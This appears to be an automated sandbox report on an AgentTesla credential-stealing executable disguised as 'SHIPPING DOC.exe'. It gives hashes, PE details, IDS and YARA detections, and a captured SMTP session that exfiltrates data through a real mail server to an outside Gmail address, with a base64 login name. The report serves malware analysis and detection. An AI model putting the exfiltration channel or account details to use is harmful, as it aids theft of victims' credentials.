Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.87395470187003
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	SHIPPING DOC.exe
File size:	830'464 bytes
MD5:	a53510c8abfed32dfb6f0765de3faf7b
SHA1:	3ea41317b78988a213ce66656b2b2d417ea3626e
SHA256:	4b39adbf8d3a4e2a5793014b4af4a4cb98d3a71c4a565dd20dc3a69928a84c72
SHA512:	dbc9dfafb9dde32184060fd67c86df178f5eaf9365a5193ca2154d2889ed339cc4a585c929f9b9ba183a0a2bc2e40ca05c727a55b43ce260aca4b0c6987cfd30
SSDEEP:	12288:ICsL4MhHwgG3htgIV3ZTVBWzfrBjnuWcD5UWoljR8J7HYXWG91EzJGU600qvDKhc:wo7fwluheWoljRqH1zJGprhvfg
TLSH:	3805121372FC9B94D03DE7F81A5226802778791E7660D30C9E8970CE5E92BD2475ABE3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e..............0..h...@........... ........@.. ....................................@................................

File Icon


Icon Hash:	334d96a68ec4710b

Static PE Info

General

Entrypoint:	0x4c87ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x65F104EE [Wed Mar 13 01:44:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc877c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xca000	0x3a98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xce000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc67d4	0xc6800	392193ef29135277820ddf8229509971	False	0.9258698047858942	data	7.885207920834807	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xca000	0x3a98	0x3c00	e3e6300a7a27f04b4c730a16aba52bb2	False	0.9008463541666667	data	7.601559607157697	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xce000	0xc	0x400	0b643b607e09bd68eaeecdb0ed9f203b	False	0.025390625	data	0.05390218305374581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xca100	0x3195	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9961396045064209
RT_GROUP_ICON	0xcd2a8	0x14	data	1.05
RT_VERSION	0xcd2cc	0x5ca	data	0.4291497975708502
RT_MANIFEST	0xcd8a8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/13/24-14:12:59.454453	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49704	587	192.168.2.10	50.87.139.143
03/13/24-14:12:59.454453	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49704	587	192.168.2.10	50.87.139.143
03/13/24-14:12:59.454453	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49704	587	192.168.2.10	50.87.139.143
03/13/24-14:12:59.454308	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49704	587	192.168.2.10	50.87.139.143
03/13/24-14:12:59.454308	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49704	587	192.168.2.10	50.87.139.143
03/13/24-14:12:59.454453	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49704	587	192.168.2.10	50.87.139.143

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2024 14:12:57.572730064 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:57.746175051 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:57.746273994 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:58.187787056 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:58.188811064 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:58.362395048 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:58.363487005 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:58.537195921 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:58.538275003 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:58.752213955 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:58.884455919 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:58.884823084 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:59.058247089 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.058409929 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.058722019 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:59.273333073 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.279181957 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.279438019 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:59.452783108 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.453265905 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.454308033 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:59.454452991 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:59.454544067 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:59.454623938 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:12:59.627935886 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.628123999 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.629354000 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:12:59.671525002 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:14:38.234376907 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:14:38.448396921 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:14:38.609136105 CET	587	49704	50.87.139.143	192.168.2.10
Mar 13, 2024 14:14:38.609282970 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:14:38.609493017 CET	49704	587	192.168.2.10	50.87.139.143
Mar 13, 2024 14:14:38.782721043 CET	587	49704	50.87.139.143	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2024 14:12:57.281599998 CET	65371	53	192.168.2.10	1.1.1.1
Mar 13, 2024 14:12:57.561481953 CET	53	65371	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2024 14:12:57.281599998 CET	192.168.2.10	1.1.1.1	0x58ad	Standard query (0)	mail.elec-qatar.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2024 14:12:57.561481953 CET	1.1.1.1	192.168.2.10	0x58ad	No error (0)	mail.elec-qatar.com		50.87.139.143	A (IP address)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Mar 13, 2024 14:12:58.187787056 CET	587	49704	50.87.139.143	192.168.2.10	220-box2248.bluehost.com ESMTP Exim 4.96.2 #2 Wed, 13 Mar 2024 07:12:58 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 13, 2024 14:12:58.188811064 CET	49704	587	192.168.2.10	50.87.139.143	EHLO 585948
Mar 13, 2024 14:12:58.362395048 CET	587	49704	50.87.139.143	192.168.2.10	250-box2248.bluehost.com Hello 585948 [191.96.227.194] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Mar 13, 2024 14:12:58.363487005 CET	49704	587	192.168.2.10	50.87.139.143	AUTH login bW9oYW1tZWQuYWJyYXJAZWxlYy1xYXRhci5jb20=
Mar 13, 2024 14:12:58.537195921 CET	587	49704	50.87.139.143	192.168.2.10	334 UGFzc3dvcmQ6
Mar 13, 2024 14:12:58.884455919 CET	587	49704	50.87.139.143	192.168.2.10	235 Authentication succeeded
Mar 13, 2024 14:12:58.884823084 CET	49704	587	192.168.2.10	50.87.139.143	MAIL FROM:<mohammed.abrar@elec-qatar.com>
Mar 13, 2024 14:12:59.058409929 CET	587	49704	50.87.139.143	192.168.2.10	250 OK
Mar 13, 2024 14:12:59.058722019 CET	49704	587	192.168.2.10	50.87.139.143	RCPT TO:<jinhux31@gmail.com>
Mar 13, 2024 14:12:59.279181957 CET	587	49704	50.87.139.143	192.168.2.10	250 Accepted
Mar 13, 2024 14:12:59.279438019 CET	49704	587	192.168.2.10	50.87.139.143	DATA
Mar 13, 2024 14:12:59.453265905 CET	587	49704	50.87.139.143	192.168.2.10	354 Enter message, ending with "." on a line by itself
Mar 13, 2024 14:12:59.454623938 CET	49704	587	192.168.2.10	50.87.139.143	.
Mar 13, 2024 14:12:59.629354000 CET	587	49704	50.87.139.143	192.168.2.10	250 OK id=1rkOPj-0040fT-1B
Mar 13, 2024 14:14:38.234376907 CET	49704	587	192.168.2.10	50.87.139.143	QUIT
Mar 13, 2024 14:14:38.609136105 CET	587	49704	50.87.139.143	192.168.2.10	221 box2248.bluehost.com closing connection

Target ID:	1
Start time:	14:12:53
Start date:	13/03/2024
Path:	C:\Users\user\Desktop\SHIPPING DOC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SHIPPING DOC.exe
Imagebase:	0x770000
File size:	830'464 bytes
MD5 hash:	A53510C8ABFED32DFB6F0765DE3FAF7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:12:54
Start date:	13/03/2024
Path:	C:\Users\user\Desktop\SHIPPING DOC.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\SHIPPING DOC.exe
Imagebase:	0x240000
File size:	830'464 bytes
MD5 hash:	A53510C8ABFED32DFB6F0765DE3FAF7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:12:54
Start date:	13/03/2024
Path:	C:\Users\user\Desktop\SHIPPING DOC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SHIPPING DOC.exe
Imagebase:	0xdc0000
File size:	830'464 bytes
MD5 hash:	A53510C8ABFED32DFB6F0765DE3FAF7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2478143113.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2478143113.0000000003336000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2478143113.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2478143113.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	94
Total number of Limit Nodes:	6

Executed Functions

Function 050C7300 Relevance: 5.5, Strings: 2, Instructions: 3005
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$2q, xrefs: 050C7395
'2q, xrefs: 050C7352

Memory Dump Source

Source File: 00000001.00000002.1231317698.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_50c0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID: '2q$$2q
API String ID: 0-1962809717
Opcode ID: 43344613a29d0d2d91cd1856ffef3cd186e753db9ac31bb9c34859849a15340e
Instruction ID: c57d18ca1e4237f22ba740790d876839bd2e366bcb0853cdf3ede51602fcc71b
Opcode Fuzzy Hash: 43344613a29d0d2d91cd1856ffef3cd186e753db9ac31bb9c34859849a15340e
Instruction Fuzzy Hash: 39638474A02219CFDB25DB24D898BAEB7B6FF8A304F5045E9D40967395CB35AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 050C72F0 Relevance: 5.4, Strings: 2, Instructions: 2892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$2q, xrefs: 050C7395
'2q, xrefs: 050C7352

Memory Dump Source

Source File: 00000001.00000002.1231317698.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_50c0000_SHIPPING DOC.jbxd

Similarity

API ID:
String ID: '2q$$2q
API String ID: 0-1962809717
Opcode ID: 15b9bc7d3f2b6881f94c7393cd68814acf670333634b408ad8d8ea7610bcd933
Instruction ID: f5d7578dd3968f8306c8f1659b3edd54c221a1b1640248008cbf534ab378a4dc
Opcode Fuzzy Hash: 15b9bc7d3f2b6881f94c7393cd68814acf670333634b408ad8d8ea7610bcd933
Instruction Fuzzy Hash: CE637474A02219CFDB25DB24D898BAEB7B6FF8A304F5045E9D4096B355CB35AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 029BB218 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 029BB47E

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 24464e00d329ed2bb1adaa86da51175433d8d08f38cdc9e82ede1664acaf3a2c
Instruction ID: 26e80d9b0b171242b50d9fbcf550a3a2aa1bfb7d2f332fe7cafb792444246a89
Opcode Fuzzy Hash: 24464e00d329ed2bb1adaa86da51175433d8d08f38cdc9e82ede1664acaf3a2c
Instruction Fuzzy Hash: 0A814570A00B058FDB25DF2AD55579ABBF5FF88308F008929D88AD7A90D774E946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 029B455C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029B5DC9

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a94b355e474e3f8f755cd54d13579abb88d1f3792955ee29e2e61bc3509e3f7b
Instruction ID: d31fa78a9bdfd9f8c9d1b28a503a3e0caa96375b8d81bd9ba3ed44472086c7b0
Opcode Fuzzy Hash: a94b355e474e3f8f755cd54d13579abb88d1f3792955ee29e2e61bc3509e3f7b
Instruction Fuzzy Hash: DF41E2B0C00719CBEB25CFA9C984BDDBBB5BF48304F60816AD408AB251DBB16946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 029B5D0D Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029B5DC9

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 78585af13cec19eb082a6b8b5f1cee3c5392c15c1b5176e9c43a12a0deab811a
Instruction ID: 2ad1ccc95c5d227604aee03fddc13b365acd92f499c31561738285eabf9e098f
Opcode Fuzzy Hash: 78585af13cec19eb082a6b8b5f1cee3c5392c15c1b5176e9c43a12a0deab811a
Instruction Fuzzy Hash: A241E2B1C00719CFEB25CFA9C984BDDBBB5BF49304F60816AD408AB250DBB56946CF50

Uniqueness

Uniqueness Score: -1.00%

Function 050C43A0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 050C4461

Memory Dump Source

Source File: 00000001.00000002.1231317698.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_50c0000_SHIPPING DOC.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 5ae62748c85bb7a4ee6a2797f9e3901cac887f559c7722b8f9f7ad00d73c7aea
Instruction ID: 7220c35f7112b50d160bf7b06f88be7352d69406885b41b6f15fc47ffd5c853e
Opcode Fuzzy Hash: 5ae62748c85bb7a4ee6a2797f9e3901cac887f559c7722b8f9f7ad00d73c7aea
Instruction Fuzzy Hash: 0241E7B9900305CFDB14DF95D488AAEBBF5FF89314F248499E919AB321D774A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 029BBC10 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,029BDAC6,?,?,?,?,?), ref: 029BDB87

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 74d70d7ef3de6828b1ef73b6e7c8a71efd0ccc2d8bad8efda06e906fe1e7b7eb
Instruction ID: c4cb9d9bdca948fc61bd177f1bc3667920c6f67b35c6d7f36be042140016c40f
Opcode Fuzzy Hash: 74d70d7ef3de6828b1ef73b6e7c8a71efd0ccc2d8bad8efda06e906fe1e7b7eb
Instruction Fuzzy Hash: 3D21E5B59003599FDB10CF9AD984AEEFBF4EF48310F14842AE958A7310D374A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 029BDAFA Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,029BDAC6,?,?,?,?,?), ref: 029BDB87

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 34887513233031eedbd9222d0ebec80af3f639a5d89ce8bdb92b4bcbff4a0fd9
Instruction ID: fdba0ab22d1e8e5ee1299d732c66063bca54a52d5d2ea96be51eadc14ba39fa2
Opcode Fuzzy Hash: 34887513233031eedbd9222d0ebec80af3f639a5d89ce8bdb92b4bcbff4a0fd9
Instruction Fuzzy Hash: 9D21E5B59003599FDB10CF9AD984ADEBBF4EB48310F14801AE918A3310C379A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 029BA5E8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,029BB4F9,00000800,00000000,00000000), ref: 029BB70A

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1ad4f893b3b3ee7458688430279fe5a4e7dcb09161b1048a507138d0b4e45251
Instruction ID: d437f020eca45fda95dda06d0165c79b2ea37ef483e0b64e1b96cfee8b9130c6
Opcode Fuzzy Hash: 1ad4f893b3b3ee7458688430279fe5a4e7dcb09161b1048a507138d0b4e45251
Instruction Fuzzy Hash: CE1106B69003099FDB10CF9AD584BDEFBF4EF48314F50842AD819A7640C375A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 029BB698 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,029BB4F9,00000800,00000000,00000000), ref: 029BB70A

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b6b43cb1900cc3ace423acd6816b7acde6a9fef6e155a77e3ed02d26f228b3a4
Instruction ID: a3eb06c5eceeb435e302d15d89d8001712ed820e5ce5a7ee2cd7da6ee690e438
Opcode Fuzzy Hash: b6b43cb1900cc3ace423acd6816b7acde6a9fef6e155a77e3ed02d26f228b3a4
Instruction Fuzzy Hash: 441103B69003099FDB20CF9AD584BDEFBF4EB48314F14842AD819A7640C3B9A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 029BB418 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 029BB47E

Memory Dump Source

Source File: 00000001.00000002.1229360382.00000000029B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_29b0000_SHIPPING DOC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: efc7a641942a4bb01f5ab6c700a561ee47027c9209c7c49053a21ba09ddd96d5
Instruction ID: 646296ada25f15d25fa999ca967f4b6a36a4bb7b23952be021c8d38ae7d4e8f1
Opcode Fuzzy Hash: efc7a641942a4bb01f5ab6c700a561ee47027c9209c7c49053a21ba09ddd96d5
Instruction Fuzzy Hash: 5A1102B6C003498FDB20CF9AC544BDEFBF5EF48218F10841AD859A7250C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E0D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

